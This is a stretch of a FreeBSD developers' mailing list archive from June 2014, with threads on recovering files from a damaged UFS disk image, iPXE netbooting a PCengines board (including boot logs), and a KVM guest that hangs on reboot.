(8.14.7/8.14.7) with ESMTP id s5DIUCtI056256; Fri, 13 Jun 2014 11:30:12 -0700 (PDT) (envelope-from frank@exit.com) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=exit.com; s=tinker; t=1402684212; bh=RuIKaWdl+GaeaInkfFEOib3LYzh8n5tY1tU5r8/KKrs=; h=Subject:From:Reply-To:To:Cc:In-Reply-To:References:Date; b=Iyp+nOUq1TTjFclKN9NmR7m0rHSljJxJyIgO+GyfKjmYYV8lT7Sl/hFaDdOhk27xb trzyqdMKj42hG9HaamtHdKpTREk0nZSt2olcg9hI/fh6xaql8D+S4nTPezrQS1I9aD WXRDSCprXP0AI+H3ZSFZJdFUfzHoUFheAnr26gxI= Received: from jill.exit.com (localhost [127.0.0.1]) by jill.exit.com (8.14.7/8.14.5) with ESMTP id s5DIUBSi035298; Fri, 13 Jun 2014 11:30:11 -0700 (PDT) (envelope-from frank@exit.com) Received: (from frank@localhost) by jill.exit.com (8.14.7/8.14.5/Submit) id s5DIUBW8035297; Fri, 13 Jun 2014 11:30:11 -0700 (PDT) (envelope-from frank@exit.com) X-Authentication-Warning: jill.exit.com: frank set sender to frank@exit.com using -f Subject: Re: picking data out of a UFS image From: Frank Mayhar Reply-To: frank@exit.com To: John-Mark Gurney In-Reply-To: <20140613153107.GX31367@funkthat.com> References: <20140613145246.DB840C00AA@smtp.hushmail.com> <20140613153107.GX31367@funkthat.com> Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Organization: Exit Consulting Date: Fri, 13 Jun 2014 11:30:11 -0700 Message-ID: <1402684211.35278.0.camel@jill.exit.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Cc: freebsd-hackers@freebsd.org, falcon17@hushmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 18:30:14 -0000 On Fri, 2014-06-13 at 08:31 -0700, John-Mark Gurney wrote: > falcon17@hushmail.com wrote this message on Fri, Jun 13, 2014 at 07:52 -0= 700: > > I had an old dying disk and I managed to make a dd image of half of it > > before it went completely bellyup. When I have done this in the past I > > have been able to use the sleuth kit ffind, fls, etc to dig around, or > > even vnconfig and mount the whole image. This time none of that is > > working, in fact it claims bad superblock altho I think I found an > > alternate that works. > > In any case I am able to find some textual data when I simply hexdump > > or strings the image, and some of that is what I was looking to > > recover. Is it reasonably easy to work backwards from that, say, using > > the location I found for the start of this file, to search backwards > > and hunt down its inode? Maybe work from there to pick out others? > > I guess what I am looking for is a little guidance on picking out UFS > > data structures manually. Thanks! >=20 > I developed a python script to extract data from a broken FFS... the > sources are here: > https://people.freebsd.org/~jmg/ffsrecov/ >=20 > It's been a long time since I've looked at it, but should help you.. There's also sysutils/ffs2recov in ports. Although that, too, hasn't been touched in a long time. --=20 Frank Mayhar frank@exit.com From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 18:50:04 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0ADAB4DA for ; Fri, 13 Jun 2014 18:50:04 +0000 (UTC) Received: from smarthost1.sentex.ca (smarthost1.sentex.ca [IPv6:2607:f3e0:0:1::12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "smarthost.sentex.ca", Issuer "smarthost.sentex.ca" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id B46012A22 for ; Fri, 13 Jun 2014 18:50:03 +0000 (UTC) Received: from [IPv6:2607:f3e0:0:4:f025:8813:7603:7e4a] (saphire3.sentex.ca [IPv6:2607:f3e0:0:4:f025:8813:7603:7e4a]) by smarthost1.sentex.ca (8.14.9/8.14.9) with ESMTP id s5DIngno071722; Fri, 13 Jun 2014 14:49:43 -0400 (EDT) (envelope-from mike@sentex.net) Message-ID: <539B47C0.2050400@sentex.net> Date: Fri, 13 Jun 2014 14:49:36 -0400 From: Mike Tancsa Organization: Sentex Communications User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Daniel Braniss Subject: Re: iPXE booting latest PCengines alu board References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> In-Reply-To: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.74 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 18:50:04 -0000 On 6/13/2014 4:24 AM, Daniel Braniss wrote: > > On Jun 12, 2014, at 6:26 PM, Mike Tancsa > wrote: >> If you mean http://www.pcengines.ch/apu.htm, just make sure you are >> booting a relatively recent FreeBSD version (newer than April I > > no, it does not :-(, the bios has iPXE not PXE - notice the little i) > after hitting ^B i managed some progress: > FreeBSD 7.0-RC1 #41: Sun Dec 30 15:19:13 IST 2007 When I said newer than April, I meant newer than April 2014. You really need to boot 7.0 ?? I am netbooting RELENG_10 just fine # head -20 /var/run/dmesg.boot Copyright (c) 1992-2014 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 10.0-STABLE #1 r262980M: Mon Mar 10 16:54:07 EDT 2014 mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERIC i386 FreeBSD clang version 3.3 (tags/RELEASE_33/final 183502) 20130610 CPU: AMD G-T40E Processor (1000.02-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x500f20 Family = 0x14 Model = 0x2 Stepping = 0 Features=0x178bfbff Features2=0x802209 AMD Features=0x2e500800 AMD Features2=0x35ff TSC: P-state invariant, performance statistics real memory = 3741364224 (3568 MB) avail memory = 3652464640 (3483 MB) Event timer "LAPIC" quality 400 ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs FreeBSD/SMP: 1 package(s) x 2 core(s) Searching bootorder for: /rom@genroms/pxeboot.rom Press F12 for boot menu. drive 0x000fd910: PCHS=0/0/0 translation=lba LCHS=957/64/63 s=3862528 drive 0x000fd940: PCHS=16383/16/63 translation=lba LCHS=1024/255/63 s=61865984 Space available for UMB: 000c1000-000ee000 Returned 49152 bytes of ZoneHigh e820 map has 6 items: 0: 0000000000000000 - 000000000009fc00 = 1 RAM 1: 000000000009fc00 - 00000000000a0000 = 2 RESERVED 2: 00000000000f0000 - 0000000000100000 = 2 RESERVED 3: 0000000000100000 - 000000007e16ac00 = 1 RAM 4: 000000007e16ac00 - 000000007efffc00 = 2 RESERVED 5: 00000000f8000000 - 00000000f9000000 = 2 RESERVED enter handle_19: NULL Booting from ROM... Booting from c000:0358 iPXE (PCI 00:00.0) starting execution...ok iPXE initialising devices...ok iPXE 1.0.0+ (b757) -- Open Source Network Boot Firmware -- http://ipxe.org Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu net0: 00:0d:b9:33:11:c4 using rtl8168 on PCI01:00.0 (open) [Link:down, TX:0 TXE:0 RX:0 RXE:0] [Link status: Down (http://ipxe.org/38086101)] Waiting for link-up on net0... failed: Down (http://ipxe.org/38086101) net1: 00:0d:b9:33:11:c5 using rtl8168 on PCI02:00.0 (open) [Link:up, TX:0 TXE:0 RX:0 RXE:0] DHCP (net1 00:0d:b9:33:11:c5)........... ok net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 Nothing to boot: No such file or directory (http://ipxe.org/2d03e13b) net2: 00:0d:b9:33:11:c6 using rtl8168 on PCI03:00.0 (open) [Link:up, TX:0 TXE:0 RX:0 RXE:0] DHCP (net2 00:0d:b9:33:11:c6)...... ok net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 (inaccessible) net2: 10.255.255.75/255.255.255.0 gw 10.255.255.1 Next server: 10.255.255.1 Filename: pxe10/boot/pxeboot Root path: /home/pxe10 tftp://10.255.255.1/pxe10/boot/pxeboot... ok PXE Loader 1.00 Building the boot loader arguments Relocating the loader and the BTX Starting the BTX loader /boot/kernel/kernel text=0xf09688 data=0xd02e8+0xe61e8 syms=[0x4+0xd2850+0x4+0x15704b] | ______ ____ _____ _____ | ____| | _ \ / ____| __ \ | |___ _ __ ___ ___ | |_) | (___ | | | | | ___| '__/ _ \/ _ \| _ < \___ \| | | | | | | | | __/ __/| |_) |____) | |__| | | | | | | | || | | | |_| |_| \___|\___||____/|_____/|_____/ ``` ` s` `.....---.......--.``` -/ +------------Welcome to FreeBSD-----------+ +o .--` /y:` +. | | yo`:. :o `+- | 1. Boot Multi User [Enter] | y/ -/` -o/ | 2. Boot [S]ingle User | .- ::/sy+:. | 3. [Esc]ape to loader prompt | / `-- / | 4. Reboot | `: :` | | `: :` | Options: | / / | 5. Configure Boot [O]ptions... | .- -. | | -- -. | | `:` `:` | | .-- `--. | | .---.....----. +-----------------------------------------+ Booting... Copyright (c) 1992-2014 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 10.0-STABLE #3 r267161: Fri Jun 6 13:55:58 EDT 2014 mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERIC i386 FreeBSD clang version 3.4.1 (tags/RELEASE_34/dot1-final 208032) 20140512 CPU: AMD G-T40E Processor (1000.02-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x500f20 Family = 0x14 Model = 0x2 Stepping = 0 Features=0x178bfbff Features2=0x802209 AMD Features=0x2e500800 AMD Features2=0x35ff TSC: P-state invariant, performance statistics real memory = 2114293760 (2016 MB) avail memory = 2052497408 (1957 MB) Event timer "LAPIC" quality 400 ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs FreeBSD/SMP: 1 package(s) x 2 core(s) cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 random device not loaded; using insecure entropy ioapic0 irqs 0-23 on motherboard kbd0 at kbdmux0 random: initialized module_register_init: MOD_LOAD (vesa, 0xc0f67220, 0) error 19 acpi0: on motherboard acpi0: Power Button (fixed) cpu0: on acpi0 cpu1: on acpi0 atrtc0: port 0x70-0x71 irq 8 on acpi0 Event timer "RTC" frequency 32768 Hz quality 0 attimer0: port 0x40-0x43 irq 0 on acpi0 Timecounter "i8254" frequency 1193182 Hz quality 0 Event timer "i8254" frequency 1193182 Hz quality 100 Timecounter "ACPI-fast" frequency 3579545 Hz quality 900 acpi_timer0: <32-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 950 Event timer "HPET" frequency 14318180 Hz quality 550 Event timer "HPET1" frequency 14318180 Hz quality 450 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: at device 4.0 on pci0 pci1: on pcib1 re0: port 0x1000-0x10ff mem 0xfe500000-0xfe500fff,0xfe400000-0xfe403fff at device 0.0 on pci1 re0: Using 1 MSI-X message re0: ASPM disabled re0: Chip rev. 0x2c000000 re0: MAC rev. 0x00200000 miibus0: on re0 rgephy0: PHY 1 on miibus0 rgephy0: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, 1000baseT-FDX-flow-master, auto, auto-flow re0: Ethernet address: 00:0d:b9:33:11:c4 pcib2: at device 5.0 on pci0 pci2: on pcib2 re1: port 0x2000-0x20ff mem 0xfe700000-0xfe700fff,0xfe600000-0xfe603fff at device 0.0 on pci2 re1: Using 1 MSI-X message re1: ASPM disabled re1: Chip rev. 0x2c000000 re1: MAC rev. 0x00200000 miibus1: on re1 rgephy1: PHY 1 on miibus1 rgephy1: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, 1000baseT-FDX-flow-master, auto, auto-flow re1: Ethernet address: 00:0d:b9:33:11:c5 pcib3: at device 6.0 on pci0 pci3: on pcib3 re2: port 0x3000-0x30ff mem 0xfe900000-0xfe900fff,0xfe800000-0xfe803fff at device 0.0 on pci3 re2: Using 1 MSI-X message re2: ASPM disabled re2: Chip rev. 0x2c000000 re2: MAC rev. 0x00200000 miibus2: on re2 rgephy2: PHY 1 on miibus2 rgephy2: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, 1000baseT-FDX-flow-master, auto, auto-flow re2: Ethernet address: 00:0d:b9:33:11:c6 pcib4: at device 7.0 on pci0 pci4: on pcib4 ath0: mem 0xfea00000-0xfea0ffff at device 0.0 on pci4 ath0: [HT] enabling HT modes ath0: [HT] 1 stream STBC receive enabled ath0: [HT] 1 stream STBC transmit enabled ath0: [HT] 2 RX streams; 2 TX streams ath0: AR9280 mac 128.2 RF5133 phy 13.0 ath0: 2GHz radio: 0x0000; 5GHz radio: 0x00c0 ahci0: port 0x4020-0x4027,0x4040-0x4043,0x4028-0x402f,0x4044-0x4047,0x4000-0x400f mem 0xfeb04000-0xfeb043ff at device 17.0 on pci0 ahci0: AHCI v1.20 with 4 6Gbps ports, Port Multiplier supported ahcich0: at channel 0 on ahci0 ahcich1: at channel 1 on ahci0 ahcich2: at channel 2 on ahci0 ahcich3: at channel 3 on ahci0 ohci0: mem 0xfeb00000-0xfeb00fff at device 18.0 on pci0 usbus0 on ohci0 ehci0: mem 0xfeb04400-0xfeb044ff at device 18.2 on pci0 usbus1: EHCI version 1.0 usbus1 on ehci0 ohci1: mem 0xfeb01000-0xfeb01fff at device 19.0 on pci0 .... ---Mike -- ------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet services since 1994 www.sentex.net Cambridge, Ontario Canada http://www.tancsa.com/ From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 19:54:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D8034D8B for ; Fri, 13 Jun 2014 19:54:21 +0000 (UTC) Received: from luna.schedom-europe.net (luna.schedom-europe.net [193.109.184.86]) by mx1.freebsd.org (Postfix) with SMTP id 43D072036 for ; Fri, 13 Jun 2014 19:54:20 +0000 (UTC) Received: (qmail 13582 invoked by uid 507); 13 Jun 2014 21:47:38 +0200 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on luna.schedom-europe.net X-Spam-Level: ************** X-Spam-Status: No, score=14.9 required=15.0 tests=BAYES_99, FH_DATE_PAST_20XX, HELO_LH_HOME, RCVD_IN_PBL, RDNS_DYNAMIC autolearn=disabled version=3.2.5 Received: from ip-83-101-50-142.customer.schedom-europe.net (HELO bennypc.home) (83.101.50.142) by luna.schedom-europe.net with SMTP; 13 Jun 2014 21:47:30 +0200 Message-ID: <539B5555.80506@belgacom.net> Date: Fri, 13 Jun 2014 21:47:33 +0200 From: Benny Goemans User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: picking data out of a UFS image References: <20140613145246.DB840C00AA@smtp.hushmail.com> <20140613153107.GX31367@funkthat.com> <1402684211.35278.0.camel@jill.exit.com> In-Reply-To: <1402684211.35278.0.camel@jill.exit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 19:54:21 -0000 On 06/13/14 20:30, Frank Mayhar wrote: > On Fri, 2014-06-13 at 08:31 -0700, John-Mark Gurney wrote: >> falcon17@hushmail.com wrote this message on Fri, Jun 13, 2014 at 07:52 -0700: >>> I had an old dying disk and I managed to make a dd image of half of it >>> before it went completely bellyup. When I have done this in the past I >>> have been able to use the sleuth kit ffind, fls, etc to dig around, or >>> even vnconfig and mount the whole image. This time none of that is >>> working, in fact it claims bad superblock altho I think I found an >>> alternate that works. >>> In any case I am able to find some textual data when I simply hexdump >>> or strings the image, and some of that is what I was looking to >>> recover. Is it reasonably easy to work backwards from that, say, using >>> the location I found for the start of this file, to search backwards >>> and hunt down its inode? Maybe work from there to pick out others? >>> I guess what I am looking for is a little guidance on picking out UFS >>> data structures manually. Thanks! >> I developed a python script to extract data from a broken FFS... the >> sources are here: >> https://people.freebsd.org/~jmg/ffsrecov/ >> >> It's been a long time since I've looked at it, but should help you.. > There's also sysutils/ffs2recov in ports. Although that, too, hasn't > been touched in a long time. If it doesn't matter that you lose your filesystem structure (directories and filenames) you could use photorec (in ports under sysutils/testdisk). Contradictory to its name it is able to recover a large collection of files based on their headers. If you're trying to do this manually, that tool could possibly help you. I know it can read UFS since I'm using it right now on an image pulled from an SD card. Regards, Benny Goemans ps. if you should be able to get the disk back up, try ddrescue, it'll backup more then standard dd (with retries etc) From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 22:31:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0EE22B7; Fri, 13 Jun 2014 22:31:13 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E1A952D1F; Fri, 13 Jun 2014 22:31:12 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s5DMNBR8098589 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Fri, 13 Jun 2014 18:23:12 -0400 (EDT) (envelope-from lists@jnielsen.net) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: consistent VM hang during reboot From: John Nielsen In-Reply-To: <83DA2398-0004-49EC-8AC1-9AA64F33A194@jnielsen.net> Date: Fri, 13 Jun 2014 16:23:13 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <0238084D-FD0F-42A5-85F5-597A590E666C@jnielsen.net> References: <201405081303.17079.jhb@freebsd.org> <2CCD4068-A9CB-442C-BB91-ADBF62FF22C6@jnielsen.net> <83DA2398-0004-49EC-8AC1-9AA64F33A194@jnielsen.net> To: "freebsd-hackers@freebsd.org" , "freebsd-virtualization@freebsd.org" X-Mailer: Apple Mail (2.1878.2) X-DCC-MGTINTERNET-Metrics: ns1.jnielsen.net 1170; Body=2 Fuz1=2 Fuz2=2 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 22:31:13 -0000 On May 13, 2014, at 9:50 AM, John Nielsen wrote: > On May 9, 2014, at 12:41 PM, John Nielsen wrote: >=20 >> On May 8, 2014, at 12:42 PM, Andrew Duane wrote: >>=20 >>> From: owner-freebsd-hackers@freebsd.org = [mailto:owner-freebsd-hackers@freebsd.org] On Behalf Of John Nielsen >>>=20 >>>> On May 8, 2014, at 11:03 AM, John Baldwin wrote: >>>>=20 >>>>> On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >>>>>> I am trying to solve a problem with amd64 FreeBSD virtual = machines running on a Linux+KVM hypervisor. To be honest I'm not sure if = the problem is in FreeBSD or=20 >>>>> the hypervisor, but I'm trying to rule out the OS first. >>>>>>=20 >>>>>> The _second_ time FreeBSD boots in a virtual machine with more = than one core, the boot hangs just before the kernel would normally = print e.g. "SMP: AP CPU #1=20 >>>>> Launched!" (The last line on the console is "usbus0: 12Mbps Full = Speed USB v1.0", but the problem persists even without USB). The VM will = boot fine a first time,=20 >>>>> but running either "shutdown -r now" OR "reboot" will lead to a = hung second boot. Stopping and starting the host qemu-kvm process is the = only way to continue. >>>>>>=20 >>>>>> The problem seems to be triggered by something in the SMP portion = of cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual = "reset" button the next=20 >>>>> boot is fine. If I have 'kern.smp.disabled=3D"1"' set for the = initial boot then subsequent boots are fine (but I can only use one CPU = core, of course). However, if I=20 >>>>> boot normally the first time then set 'kern.smp.disabled=3D"1"' = for the second (re)boot, the problem is triggered. Apparently something = in the shutdown code is=20 >>>>> "poisoning the well" for the next boot. >>>>>>=20 >>>>>> The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT = as of yesterday. >>>>>>=20 >>>>>> This (heavy-handed and wrong) patch (to HEAD) lets me avoid the = issue: >>>>>>=20 >>>>>> --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 = 13:19:07.400981580 -0600 >>>>>> +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 = -0600 >>>>>> @@ -593,7 +593,7 @@ >>>>>> void >>>>>> cpu_reset() >>>>>> { >>>>>> -#ifdef SMP >>>>>> +#if 0 >>>>>> cpuset_t map; >>>>>> u_int cnt; >>>>>>=20 >>>>>> I've tried skipping or disabling smaller chunks of code within = the #if block but haven't found a consistent winner yet. >>>>>>=20 >>>>>> I'm hoping the list will have suggestions on how I can further = narrow down the problem, or theories on what might be going on. >>>>>=20 >>>>> Can you try forcing the reboot to occur on the BSP (via 'cpuset -l = 0 reboot') >>>>> or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? = It might >>>>> not, but if it does it would help narrow down the code to = consider. >>>>=20 >>>> Hello jhb, thanks for responding. >>>>=20 >>>> I tried your suggestion but unfortunately it does not make any = difference. The reboot hangs regardless of which CPU I assign the = command to. >>>>=20 >>>> Any other suggestions? >>>=20 >>> When I was doing some early work on some of the Octeon multi-core = chips, I encountered something similar. If I remember correctly, there = was an issue in the shutdown sequence that did not properly halt the = cores and set up the "start jump" vector. So the first core would start, = and when it tried to start the next ones it would hang waiting for the = ACK that they were running (since they didn't have a start vector and = hence never started). I know MIPS, not AMD, so I can't say what the = equivalent would be, but I'm sure there is one. Check that part, setting = up the early state. >>>=20 >>> If Juli and/or Adrian are reading this: do you remember anything = about that, something like 2 years ago? >>=20 >> That does sound promising, would love more details if anyone can = provide them. >>=20 >> Here's another wrinkle: >>=20 >> The KVM machine in question is part of a cluster of identical servers = (hardware, OS, software revisions). The problem is present on all = servers in the cluster. >>=20 >> I also have access to a second homogenous cluster. The OS and = software revisions on this cluster are identical to the first. The = hardware is _nearly_ identical--slightly different mainboards from the = same manufacturer and slightly older CPUs. The same VMs (identical disk = image and definition, including CPU flags passed to the guest) that have = a problem on the first cluster work flawlessly on this one. >>=20 >> Not sure if that means the bad behavior only appears on certain CPUs = or if it's timing-related or something else entirely. I'd welcome = speculation at this point. >>=20 >> CPU details below in case it makes a difference. >>=20 >> =3D=3D Problem Host =3D=3D >> model name : Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz >> flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr = pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand = lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi = flexpriority ept vpid fsgsbase smep erms >>=20 >> =3D=3D Good Host =3D=3D >> model name : Intel(R) Xeon(R) CPU E5-2650 0 @ 2.00GHz >> flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr = pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm ida arat = epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid >=20 > Still haven't found a solution but I did learn something else = interesting: an ACPI reboot allows the system to come back up = successfully. What is different from the system or CPU point of view = about an ACPI reboot versus running "reboot" or "shutdown" from = userland? Following up on the off chance anyone else is interested. I installed = -HEAD on a host that was having the problem ("v2" Xeon CPU) and ran a = FreeBSD 9 VM under bhyve. The problem did _not_ persist. That's not = entirely conclusive but it does point the finger at Qemu a bit more = strongly. I have filed a bug with them: https://bugs.launchpad.net/qemu/+bug/1329956 Still, if anyone has any ideas on what could be going on I'd love to = hear them. JN From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 07:11:46 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AC8D5822 for ; Sat, 14 Jun 2014 07:11:46 +0000 (UTC) Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.30]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id F0F4E24F7 for ; Sat, 14 Jun 2014 07:11:45 +0000 (UTC) Received: from station-27.bs.cs.huji.ac.il ([132.65.179.116]) by cs.huji.ac.il with esmtp id 1Wvi2a-0004Lm-EK; Sat, 14 Jun 2014 10:06:16 +0300 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: <539B47C0.2050400@sentex.net> Date: Sat, 14 Jun 2014 10:06:17 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: <5FA602AC-C827-4727-A038-B96FBEF8E6AB@cs.huji.ac.il> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <539B47C0.2050400@sentex.net> To: Mike Tancsa X-Mailer: Apple Mail (2.1878.2) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 07:11:46 -0000 On Jun 13, 2014, at 9:49 PM, Mike Tancsa wrote: > On 6/13/2014 4:24 AM, Daniel Braniss wrote: >>=20 >> On Jun 12, 2014, at 6:26 PM, Mike Tancsa > > wrote: >>> If you mean http://www.pcengines.ch/apu.htm, just make sure you are >>> booting a relatively recent FreeBSD version (newer than April I >>=20 >> no, it does not :-(, the bios has iPXE not PXE - notice the little i) >> after hitting ^B i managed some progress: >> FreeBSD 7.0-RC1 #41: Sun Dec 30 15:19:13 IST 2007 >=20 > When I said newer than April, I meant newer than April 2014. You = really need to boot 7.0 ?? you should have read the end of that message :-) ... and here it hung. ok, so this is a very old kernel, which got selected by default, (just shows how old the default is :-), but when I set it to = boot 9.3-BETA2 via the latest pxeboot it hangs just after = initialising the BTX. can you send me your ipxe script, maybe I can figure out what i=92m doing wrong? thanks, danny >=20 > I am netbooting RELENG_10 just fine >=20 > # head -20 /var/run/dmesg.boot > Copyright (c) 1992-2014 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, = 1994 > The Regents of the University of California. All rights = reserved. > FreeBSD is a registered trademark of The FreeBSD Foundation. > FreeBSD 10.0-STABLE #1 r262980M: Mon Mar 10 16:54:07 EDT 2014 > = mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERI= C i386 > FreeBSD clang version 3.3 (tags/RELEASE_33/final 183502) 20130610 > CPU: AMD G-T40E Processor 